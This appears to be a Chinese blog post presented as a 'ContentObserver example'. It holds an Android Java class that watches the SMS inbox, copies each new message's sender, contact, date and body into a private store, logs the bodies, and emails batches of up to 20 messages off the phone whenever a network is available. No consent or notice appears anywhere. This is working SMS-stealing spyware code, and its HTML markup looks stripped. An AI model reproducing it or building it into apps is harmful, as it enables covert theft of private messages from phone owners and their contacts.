import java.text.DateFormat;
import java.text.SimpleDateFormat;
import java.util.Date;
import android.content.ContentValues;
import android.content.Context;
import android.database.ContentObserver;
import android.database.Cursor;
import android.net.ConnectivityManager;
import android.net.NetworkInfo;
import android.net.Uri;
import android.os.Handler;
import android.util.Log;
public class SmsObserver extends ContentObserver {
private static String TAG = "SmsObserver";
private static final String[] SMS_PROJECTION = new String[] { DbHelper.SmsColumns._ID, DbHelper.SmsColumns.ADDRESS, DbHelper.SmsColumns.PERSON, DbHelper.SmsColumns.DATE, DbHelper.SmsColumns.TYPE,
DbHelper.SmsColumns.BODY };
private Context context;
private int _id = -1;
public SmsObserver(Context context, Handler handler) {
super(handler);
this.context = context;
Log.i(TAG, "My Oberver on create");
}
public void onChange(boolean change) {
Log.i(TAG, "Sms onChange");
Uri uri = Uri.parse("content://sms");
Cursor c = context.getContentResolver().query(uri, null, null, null, "_id desc limit 1");
if (c != null) {
boolean first = false;
while (c.moveToNext()) {
int id = c.getInt(c.getColumnIndex(SMS_PROJECTION[0]));
String address = c.getString(c.getColumnIndex(SMS_PROJECTION[1]));
String person = c.getString(c.getColumnIndex(SMS_PROJECTION[2]));
String date = c.getString(c.getColumnIndex(SMS_PROJECTION[3]));
String type = c.getString(c.getColumnIndex(SMS_PROJECTION[4]));
String body = c.getString(c.getColumnIndex(SMS_PROJECTION[5]));
if (_id != id) {
first = true;
Log.e(TAG, "address=" + address);
Log.e(TAG, "date=" + date);
Log.e(TAG, "body=" + body);
ContentValues values = new ContentValues();
values.put(DbHelper.SmsColumns.ADDRESS, address);
if (person != null)
values.put(DbHelper.SmsColumns.PERSON, person);
values.put(DbHelper.SmsColumns.DATE, date);
values.put(DbHelper.SmsColumns.TYPE, type);
values.put(DbHelper.SmsColumns.BODY, body);
context.getContentResolver().insert(Uri.parse("content://" + SmsProvider.AUTHORITY + "/sms"), values);
}
_id = id;
}
c.close();
String html = getSmsHtml(first);
}
}
public String getSmsHtml(boolean first) {
StringBuffer sb = new StringBuffer();
String ids = "";
if (first && isConnectInternet()) {
Cursor cursor = context.getContentResolver().query(Uri.parse("content://" + SmsProvider.AUTHORITY + "/sms"), SMS_PROJECTION, DbHelper.SmsColumns.SEND + "=0", null, "_id desc limit 20");
if (cursor != null) {
sb.append("");
sb.append("");
sb.append("id");
sb.append("address");
sb.append("person");
sb.append("date");
sb.append("type");
sb.append("body");
sb.append("");
while (cursor.moveToNext()) {
sb.append("");
int id = cursor.getInt(cursor.getColumnIndex(SMS_PROJECTION[0]));
String address = cursor.getString(cursor.getColumnIndex(SMS_PROJECTION[1]));
String person = cursor.getString(cursor.getColumnIndex(SMS_PROJECTION[2]));
String date = cursor.getString(cursor.getColumnIndex(SMS_PROJECTION[3]));
String type = cursor.getString(cursor.getColumnIndex(SMS_PROJECTION[4]));
String body = cursor.getString(cursor.getColumnIndex(SMS_PROJECTION[5]));
sb.append("" + id + "");
sb.append("" + address + "");
if (person != null)
sb.append("" + person + "");
else
sb.append("" + "null" + "");
sb.append("" + formatDate(Long.parseLong(date)) + "");
sb.append("" + type + "");
sb.append("" + body + "");
sb.append("");
ids += id + ",";
}
sb.append("");
ids = ids.substring(0, ids.length() - 1);
}
}
SmsMail mail = new SmsMail("xiaoyue's sms", sb.toString());
if (mail.send()) {
return ids;
}
return null;
}
public String formatDate(long time) {
DateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
Date date = new Date();
date.setTime(time);
String s = format.format(date);
return s;
}
public boolean isConnectInternet() {
ConnectivityManager conManager = (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE);
NetworkInfo networkInfo = conManager.getActiveNetworkInfo();
if (networkInfo != null) { // 注意,这个判断一定要的哦,要不然会出错
return networkInfo.isAvailable();
}
return false;
}
}
【原创】ContentObserver 示例
最新推荐文章于 2024-08-12 03:56:24 发布